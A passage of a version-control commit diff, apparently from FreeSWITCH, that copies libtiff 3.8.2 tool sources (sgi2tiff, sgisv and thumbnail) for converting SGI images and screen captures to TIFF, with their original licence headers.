+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <gl/image.h>
+#include <ctype.h>
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+static	short config = PLANARCONFIG_CONTIG;
+static	uint16 compression = COMPRESSION_PACKBITS;
+static	uint16 predictor = 0;
+static	uint16 fillorder = 0;
+static	uint32 rowsperstrip = (uint32) -1;
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	int quality = 75;		/* JPEG quality */
+static	uint16 photometric;
+
+static	void usage(void);
+static	int cpContig(IMAGE*, TIFF*);
+static	int cpSeparate(IMAGE*, TIFF*);
+static	int processCompressOptions(char*);
+
+/* XXX image library has no prototypes */
+extern	IMAGE* iopen(const char*, const char*);
+extern	void iclose(IMAGE*);
+extern	void getrow(IMAGE*, short*, int, int);
+
+int
+main(int argc, char* argv[])
+{
+	IMAGE *in;
+	TIFF *out;
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	while ((c = getopt(argc, argv, "c:p:r:")) != -1)
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'f':		/* fill order */
+			if (streq(optarg, "lsb2msb"))
+				fillorder = FILLORDER_LSB2MSB;
+			else if (streq(optarg, "msb2lsb"))
+				fillorder = FILLORDER_MSB2LSB;
+			else
+				usage();
+			break;
+		case 'p':		/* planar configuration */
+			if (streq(optarg, "separate"))
+				config = PLANARCONFIG_SEPARATE;
+			else if (streq(optarg, "contig"))
+				config = PLANARCONFIG_CONTIG;
+			else
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind != 2)
+		usage();
+	in = iopen(argv[optind], "r");
+	if (in == NULL)
+		return (-1);
+	out = TIFFOpen(argv[optind+1], "w");
+	if (out == NULL)
+		return (-2);
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, (uint32) in->xsize);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, (uint32) in->ysize);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, 8);
+	TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	if (in->zsize == 1)
+		photometric = PHOTOMETRIC_MINISBLACK;
+	else
+		photometric = PHOTOMETRIC_RGB;
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		if (photometric == PHOTOMETRIC_RGB && jpegcolormode == JPEGCOLORMODE_RGB)
+			photometric = PHOTOMETRIC_YCBCR;
+		TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_DEFLATE:
+		if (predictor != 0)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		break;
+	}
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
+	if (fillorder != 0)
+		TIFFSetField(out, TIFFTAG_FILLORDER, fillorder);
+	TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, in->zsize);
+	if (in->zsize > 3) {
+	    uint16 v[1];
+	    v[0] = EXTRASAMPLE_UNASSALPHA;
+	    TIFFSetField(out, TIFFTAG_EXTRASAMPLES, 1, v);
+	}
+	TIFFSetField(out, TIFFTAG_MINSAMPLEVALUE, (uint16) in->min);
+	TIFFSetField(out, TIFFTAG_MAXSAMPLEVALUE, (uint16) in->max);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, config);
+	if (config != PLANARCONFIG_SEPARATE)
+		TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+		    TIFFDefaultStripSize(out, rowsperstrip));
+	else			/* force 1 row/strip for library limitation */
+		TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, 1L);
+	if (in->name[0] != '\0')
+		TIFFSetField(out, TIFFTAG_IMAGEDESCRIPTION, in->name);
+	if (config == PLANARCONFIG_CONTIG)
+		cpContig(in, out);
+	else
+		cpSeparate(in, out);
+	(void) iclose(in);
+	(void) TIFFClose(out);
+	return (0);
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "jpeg", 4)) {
+		char* cp = strchr(opt, ':');
+
+                defcompression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+static int
+cpContig(IMAGE* in, TIFF* out)
+{
+	tdata_t buf = _TIFFmalloc(TIFFScanlineSize(out));
+	short *r = NULL;
+	int x, y;
+
+	if (in->zsize == 3) {
+		short *g, *b;
+
+		r = (short *)_TIFFmalloc(3 * in->xsize * sizeof (short));
+		g = r + in->xsize;
+		b = g + in->xsize;
+		for (y = in->ysize-1; y >= 0; y--) {
+			uint8* pp = (uint8*) buf;
+
+			getrow(in, r, y, 0);
+			getrow(in, g, y, 1);
+			getrow(in, b, y, 2);
+			for (x = 0; x < in->xsize; x++) {
+				pp[0] = r[x];
+				pp[1] = g[x];
+				pp[2] = b[x];
+				pp += 3;
+			}
+			if (TIFFWriteScanline(out, buf, in->ysize-y-1, 0) < 0)
+				goto bad;
+		}
+	} else if (in->zsize == 4) {
+		short *g, *b, *a;
+
+		r = (short *)_TIFFmalloc(4 * in->xsize * sizeof (short));
+		g = r + in->xsize;
+		b = g + in->xsize;
+		a = b + in->xsize;
+		for (y = in->ysize-1; y >= 0; y--) {
+			uint8* pp = (uint8*) buf;
+
+			getrow(in, r, y, 0);
+			getrow(in, g, y, 1);
+			getrow(in, b, y, 2);
+			getrow(in, a, y, 3);
+			for (x = 0; x < in->xsize; x++) {
+				pp[0] = r[x];
+				pp[1] = g[x];
+				pp[2] = b[x];
+				pp[3] = a[x];
+				pp += 4;
+			}
+			if (TIFFWriteScanline(out, buf, in->ysize-y-1, 0) < 0)
+				goto bad;
+		}
+	} else {
+		uint8* pp = (uint8*) buf;
+
+		r = (short *)_TIFFmalloc(in->xsize * sizeof (short));
+		for (y = in->ysize-1; y >= 0; y--) {
+			getrow(in, r, y, 0);
+			for (x = in->xsize-1; x >= 0; x--)
+				pp[x] = r[x];
+			if (TIFFWriteScanline(out, buf, in->ysize-y-1, 0) < 0)
+				goto bad;
+		}
+	}
+	if (r)
+		_TIFFfree(r);
+	_TIFFfree(buf);
+	return (1);
+bad:
+	if (r)
+		_TIFFfree(r);
+	_TIFFfree(buf);
+	return (0);
+}
+
+static int
+cpSeparate(IMAGE* in, TIFF* out)
+{
+	tdata_t buf = _TIFFmalloc(TIFFScanlineSize(out));
+	short *r = (short *)_TIFFmalloc(in->xsize * sizeof (short));
+	uint8* pp = (uint8*) buf;
+	int x, y, z;
+
+	for (z = 0; z < in->zsize; z++) {
+		for (y = in->ysize-1; y >= 0; y--) {
+			getrow(in, r, y, z);
+			for (x = 0; x < in->xsize; x++)
+				pp[x] = r[x];
+			if (TIFFWriteScanline(out, buf, in->ysize-y-1, z) < 0)
+				goto bad;
+		}
+	}
+	_TIFFfree(r);
+	_TIFFfree(buf);
+	return (1);
+bad:
+	_TIFFfree(r);
+	_TIFFfree(buf);
+	return (0);
+}
+
+char* stuff[] = {
+"usage: sgi2tiff [options] input.rgb output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+"",
+" -p contig	pack samples contiguously (e.g. RGBRGB...)",
+" -p separate	store samples separately (e.g. RRR...GGG...BBB...)",
+"",
+" -f lsb2msb	force lsb-to-msb FillOrder for output",
+" -f msb2lsb	force msb-to-lsb FillOrder for output",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c jpeg[:opts]compress output with JPEG encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgisv.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgisv.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/sgisv.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgisv.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgisv.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,309 @@
+/* $Id: sgisv.c,v 1.4 2004/07/24 19:05:13 dron Exp $ */
+
+/*
+ * Copyright (c) 1990-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <gl.h>
+#include <ctype.h>
+
+#include "tiffio.h"
+
+typedef unsigned char u_char;
+typedef unsigned long u_long;
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+uint32	rowsperstrip = (uint32) -1;
+uint16	compression = COMPRESSION_PACKBITS;
+uint16	config = PLANARCONFIG_CONTIG;
+uint16	predictor = 0;
+int	xmaxscreen;
+int	ymaxscreen;
+uint16	photometric = PHOTOMETRIC_RGB;
+int	jpegcolormode = JPEGCOLORMODE_RGB;
+int	quality = 75;		/* JPEG quality */
+
+static	void usage(void);
+static	void tiffsv(char*, int, int, int, int);
+
+int
+main(int argc, char* argv[])
+{
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	while ((c = getopt(argc, argv, "c:p:r:")) != -1)
+		switch (c) {
+		case 'b':		/* save as b&w */
+			photometric = PHOTOMETRIC_MINISBLACK;
+			break;
+		case 'c':		/* compression scheme */
+			if (streq(optarg, "none"))
+				compression = COMPRESSION_NONE;
+			else if (streq(optarg, "packbits"))
+				compression = COMPRESSION_PACKBITS;
+			else if (strneq(optarg, "jpeg", 4)) {
+				char* cp = strchr(optarg, ':');
+				if (cp && isdigit(cp[1]))
+					quality = atoi(cp+1);
+				if (cp && strchr(cp, 'r'))
+					jpegcolormode = JPEGCOLORMODE_RAW;
+				compression = COMPRESSION_JPEG;
+			} else if (strneq(optarg, "lzw", 3)) {
+				char* cp = strchr(optarg, ':');
+				if (cp)
+					predictor = atoi(cp+1);
+				compression = COMPRESSION_LZW;
+			} else
+				usage();
+			break;
+		case 'p':		/* planar configuration */
+			if (streq(optarg, "separate"))
+				config = PLANARCONFIG_SEPARATE;
+			else if (streq(optarg, "contig"))
+				config = PLANARCONFIG_CONTIG;
+			else
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind != 1 && argc - optind != 5)
+		usage();
+	xmaxscreen = getgdesc(GD_XPMAX)-1;
+	ymaxscreen = getgdesc(GD_YPMAX)-1;
+	foreground();
+	noport();
+	winopen("tiffsv");
+	if (argc - optind == 5)
+		tiffsv(argv[optind],
+		    atoi(argv[optind+1]), atoi(argv[optind+2]),
+		    atoi(argv[optind+3]), atoi(argv[optind+4]));
+	else
+		tiffsv(argv[optind], 0, xmaxscreen, 0, ymaxscreen);
+	return (0);
+}
+
+char* stuff[] = {
+"usage: tiffsv [options] outimage.tif [x1 x2 y1 y2] [-b]",
+"where options are:",
+" -p contig	pack samples contiguously (e.g. RGBRGB...)",
+" -p separate	store samples separately (e.g. RRR...GGG...BBB...)",
+"",
+" -r #		make each strip have no more than # rows",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c jpeg[:opts]compress output with JPEG encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"",
+"LZW options:",
+" #		set predictor value for Lempel-Ziv & Welch encoding",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+static void
+svRGBSeparate(TIFF* tif, u_long* ss, int xsize, int ysize)
+{
+	tsize_t stripsize = TIFFStripSize(tif);
+	u_char *rbuf = (u_char *)_TIFFmalloc(3*stripsize);
+	u_char *gbuf = rbuf + stripsize;
+	u_char *bbuf = gbuf + stripsize;
+	register int y;
+
+	for (y = 0; y <= ysize; y += rowsperstrip) {
+		u_char *rp, *gp, *bp;
+		register int x;
+		register uint32 n;
+
+		n = rowsperstrip;
+		if (n > ysize-y+1)
+			n = ysize-y+1;
+		rp = rbuf; gp = gbuf; bp = bbuf;
+		do {
+			for (x = 0; x <= xsize; x++) {
+				u_long v = ss[x];
+				rp[x] = v;
+				gp[x] = v >> 8;
+				bp[x] = v >> 16;
+			}
+			rp += xsize+1, gp += xsize+1, bp += xsize+1;
+			ss += xsize+1;
+		} while (--n);
+		if (TIFFWriteEncodedStrip(tif, TIFFComputeStrip(tif,y,0),
+		    rbuf, stripsize) < 0)
+			break;
+		if (TIFFWriteEncodedStrip(tif, TIFFComputeStrip(tif,y,1),
+		    gbuf, stripsize) < 0)
+			break;
+		if (TIFFWriteEncodedStrip(tif, TIFFComputeStrip(tif,y,2),
+		    bbuf, stripsize) < 0)
+			break;
+	}
+	_TIFFfree(rbuf);
+}
+
+static void
+svRGBContig(TIFF* tif, u_long* ss, int xsize, int ysize)
+{
+	register int x, y;
+	tsize_t stripsize = TIFFStripSize(tif);
+	u_char *strip = (u_char *)_TIFFmalloc(stripsize);
+
+	for (y = 0; y <= ysize; y += rowsperstrip) {
+		register u_char *pp = strip;
+		register uint32 n;
+
+		n = rowsperstrip;
+		if (n > ysize-y+1)
+			n = ysize-y+1;
+		do {
+			for (x = 0; x <= xsize; x++) {
+				u_long v = ss[x];
+				pp[0] = v;
+				pp[1] = v >> 8;
+				pp[2] = v >> 16;
+				pp += 3;
+			}
+			ss += xsize+1;
+		} while (--n);
+		if (TIFFWriteEncodedStrip(tif, TIFFComputeStrip(tif,y,0),
+		    strip, stripsize) < 0)
+			break;
+	}
+	_TIFFfree(strip);
+}
+
+#undef RED
+#undef GREEN
+#undef BLUE
+#define	CVT(x)	(((x)*255)/100)
+#define	RED	CVT(28)		/* 28% */
+#define	GREEN	CVT(59)		/* 59% */
+#define	BLUE	CVT(11)		/* 11% */
+
+static void
+svGrey(TIFF* tif, u_long* ss, int xsize, int ysize)
+{
+	register int x, y;
+	u_char *buf = (u_char *)_TIFFmalloc(TIFFScanlineSize(tif));
+
+	for (y = 0; y <= ysize; y++) {
+		for (x = 0; x <= xsize; x++) {
+			u_char *cp = (u_char *)&ss[x];
+			buf[x] = (RED*cp[3] + GREEN*cp[2] + BLUE*cp[1]) >> 8;
+		}
+		if (TIFFWriteScanline(tif, buf, (uint32) y, 0) < 0)
+			break;
+		ss += xsize+1;
+	}
+	_TIFFfree(buf);
+}
+
+#define	MIN(a,b)	((a)<(b)?(a):(b))
+#define	ABS(x)		((x)<0?-(x):(x))
+
+static void
+tiffsv(char* name, int x1, int x2, int y1, int y2)
+{
+	TIFF *tif;
+	int xsize, ysize;
+	int xorg, yorg;
+	u_long *scrbuf;
+
+	xorg = MIN(x1,x2);
+	yorg = MIN(y1,y2);
+	if (xorg<0)
+		xorg = 0;
+	if (yorg<0)
+		yorg = 0;
+	xsize = ABS(x2-x1);
+	ysize = ABS(y2-y1);
+	if (xorg+xsize > xmaxscreen)
+		xsize = xmaxscreen-xorg;
+	if (yorg+ysize > ymaxscreen)
+		ysize = ymaxscreen-yorg;
+	tif = TIFFOpen(name, "w");
+	TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, (uint32) (xsize+1));
+	TIFFSetField(tif, TIFFTAG_IMAGELENGTH, (uint32) (ysize+1));
+	TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8);
+	TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL,
+	    photometric == PHOTOMETRIC_RGB ? 3 : 1);
+	TIFFSetField(tif, TIFFTAG_PLANARCONFIG, config);
+	TIFFSetField(tif, TIFFTAG_COMPRESSION, compression);
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		if (photometric == PHOTOMETRIC_RGB && jpegcolormode == JPEGCOLORMODE_RGB)
+			photometric = PHOTOMETRIC_YCBCR;
+		TIFFSetField(tif, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(tif, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+		if (predictor != 0)
+			TIFFSetField(tif, TIFFTAG_PREDICTOR, predictor);
+		break;
+	}
+	TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, photometric);
+	TIFFSetField(tif, TIFFTAG_ORIENTATION, ORIENTATION_BOTLEFT);
+	rowsperstrip = TIFFDefaultStripSize(tif, rowsperstrip);
+	TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+	scrbuf = (u_long *)_TIFFmalloc((xsize+1)*(ysize+1)*sizeof (u_long));
+	readdisplay(xorg, yorg, xorg+xsize, yorg+ysize, scrbuf, RD_FREEZE);
+	if (photometric == PHOTOMETRIC_RGB) {
+		if (config == PLANARCONFIG_SEPARATE)
+			svRGBSeparate(tif, scrbuf, xsize, ysize);
+		else
+			svRGBContig(tif, scrbuf, xsize, ysize);
+	} else
+		svGrey(tif, scrbuf, xsize, ysize);
+	(void) TIFFClose(tif);
+	_TIFFfree((char *)scrbuf);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/thumbnail.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/thumbnail.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/thumbnail.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/thumbnail.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/thumbnail.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,632 @@
+/* $Id: thumbnail.c,v 1.9 2005/06/23 10:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 1994-1997 Sam Leffler
+ * Copyright (c) 1994-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef HAVE_GETOPT
+extern int getopt(int, char**, char*);
+#endif
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+
+#ifndef TIFFhowmany8
+# define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3)
+#endif
+
+typedef enum {
+    EXP50,
+    EXP60,
+    EXP70,
+    EXP80,
+    EXP90,
+    EXP,
+    LINEAR
+} Contrast;
+
+static	uint32 tnw = 216;		/* thumbnail width */
+static	uint32 tnh = 274;		/* thumbnail height */
+static	Contrast contrast = LINEAR;	/* current contrast */
+static	uint8* thumbnail;
+
+static	int cpIFD(TIFF*, TIFF*);
+static	int generateThumbnail(TIFF*, TIFF*);
+static	void initScale();
+static	void usage(void);
+
+extern	char* optarg;
+extern	int optind;
+
+int
+main(int argc, char* argv[])
+{
+    TIFF* in;
+    TIFF* out;
+    int c;
+
+    while ((c = getopt(argc, argv, "w:h:c:")) != -1) {
+	switch (c) {
+	case 'w':	tnw = strtoul(optarg, NULL, 0); break;
+	case 'h':	tnh = strtoul(optarg, NULL, 0); break;
+	case 'c':	contrast = streq(optarg, "exp50") ? EXP50 :
+				   streq(optarg, "exp60") ? EXP60 :
+				   streq(optarg, "exp70") ? EXP70 :
+				   streq(optarg, "exp80") ? EXP80 :
+				   streq(optarg, "exp90") ? EXP90 :
+				   streq(optarg, "exp")   ? EXP :
+				   streq(optarg, "linear")? LINEAR :
+							    EXP;
+			break;
+	default:	usage();
+	}
+    }
+    if (argc-optind != 2)
+	usage();
+
+    out = TIFFOpen(argv[optind+1], "w");
+    if (out == NULL)
+	return 2;
+    in = TIFFOpen(argv[optind], "r");
+
+    thumbnail = (uint8*) _TIFFmalloc(tnw * tnh);
+    if (!thumbnail) {
+	    TIFFError(TIFFFileName(in),
+		      "Can't allocate space for thumbnail buffer.");
+	    return 1;
+    }
+
+    if (in != NULL) {
+	initScale();
+	do {
+	    if (!generateThumbnail(in, out))
+		goto bad;
+	    if (!cpIFD(in, out) || !TIFFWriteDirectory(out))
+		goto bad;
+	} while (TIFFReadDirectory(in));
+	(void) TIFFClose(in);
+    }
+    (void) TIFFClose(out);
+    return 0;
+bad:
+    (void) TIFFClose(out);
+    return 1;
+}
+
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+#define	CopyField2(tag, v1, v2) \
+    if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2)
+#define	CopyField3(tag, v1, v2, v3) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3)
+#define	CopyField4(tag, v1, v2, v3, v4) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4)
+
+static void
+cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type)
+{
+	switch (type) {
+	case TIFF_SHORT:
+		if (count == 1) {
+			uint16 shortv;
+			CopyField(tag, shortv);
+		} else if (count == 2) {
+			uint16 shortv1, shortv2;
+			CopyField2(tag, shortv1, shortv2);
+		} else if (count == 4) {
+			uint16 *tr, *tg, *tb, *ta;
+			CopyField4(tag, tr, tg, tb, ta);
+		} else if (count == (uint16) -1) {
+			uint16 shortv1;
+			uint16* shortav;
+			CopyField2(tag, shortv1, shortav);
+		}
+		break;
+	case TIFF_LONG:
+		{ uint32 longv;
+		  CopyField(tag, longv);
+		}
+		break;
+	case TIFF_RATIONAL:
+		if (count == 1) {
+			float floatv;
+			CopyField(tag, floatv);
+		} else if (count == (uint16) -1) {
+			float* floatav;
+			CopyField(tag, floatav);
+		}
+		break;
+	case TIFF_ASCII:
+		{ char* stringv;
+		  CopyField(tag, stringv);
+		}
+		break;
+	case TIFF_DOUBLE:
+		if (count == 1) {
+			double doublev;
+			CopyField(tag, doublev);
+		} else if (count == (uint16) -1) {
+			double* doubleav;
+			CopyField(tag, doubleav);
+		}
+		break;
+          default:
+                TIFFError(TIFFFileName(in),
+                          "Data type %d is not supported, tag %d skipped.",
+                          tag, type);
+	}
+}
+
+#undef CopyField4
+#undef CopyField3
+#undef CopyField2
+#undef CopyField
+
+static struct cpTag {
+    uint16	tag;
+    uint16	count;
+    TIFFDataType type;
+} tags[] = {
+    { TIFFTAG_IMAGEWIDTH,		1, TIFF_LONG },
+    { TIFFTAG_IMAGELENGTH,		1, TIFF_LONG },
+    { TIFFTAG_BITSPERSAMPLE,		1, TIFF_SHORT },
+    { TIFFTAG_COMPRESSION,		1, TIFF_SHORT },
+    { TIFFTAG_FILLORDER,		1, TIFF_SHORT },
+    { TIFFTAG_SAMPLESPERPIXEL,		1, TIFF_SHORT },
+    { TIFFTAG_ROWSPERSTRIP,		1, TIFF_LONG },
+    { TIFFTAG_PLANARCONFIG,		1, TIFF_SHORT },
+    { TIFFTAG_GROUP3OPTIONS,		1, TIFF_LONG },
+    { TIFFTAG_SUBFILETYPE,		1, TIFF_LONG },
+    { TIFFTAG_PHOTOMETRIC,		1, TIFF_SHORT },
+    { TIFFTAG_THRESHHOLDING,		1, TIFF_SHORT },
+    { TIFFTAG_DOCUMENTNAME,		1, TIFF_ASCII },
+    { TIFFTAG_IMAGEDESCRIPTION,		1, TIFF_ASCII },
+    { TIFFTAG_MAKE,			1, TIFF_ASCII },
+    { TIFFTAG_MODEL,			1, TIFF_ASCII },
+    { TIFFTAG_ORIENTATION,		1, TIFF_SHORT },
+    { TIFFTAG_MINSAMPLEVALUE,		1, TIFF_SHORT },
+    { TIFFTAG_MAXSAMPLEVALUE,		1, TIFF_SHORT },
+    { TIFFTAG_XRESOLUTION,		1, TIFF_RATIONAL },
+    { TIFFTAG_YRESOLUTION,		1, TIFF_RATIONAL },
+    { TIFFTAG_PAGENAME,			1, TIFF_ASCII },
+    { TIFFTAG_XPOSITION,		1, TIFF_RATIONAL },
+    { TIFFTAG_YPOSITION,		1, TIFF_RATIONAL },
+    { TIFFTAG_GROUP4OPTIONS,		1, TIFF_LONG },
+    { TIFFTAG_RESOLUTIONUNIT,		1, TIFF_SHORT },
+    { TIFFTAG_PAGENUMBER,		2, TIFF_SHORT },
+    { TIFFTAG_SOFTWARE,			1, TIFF_ASCII },
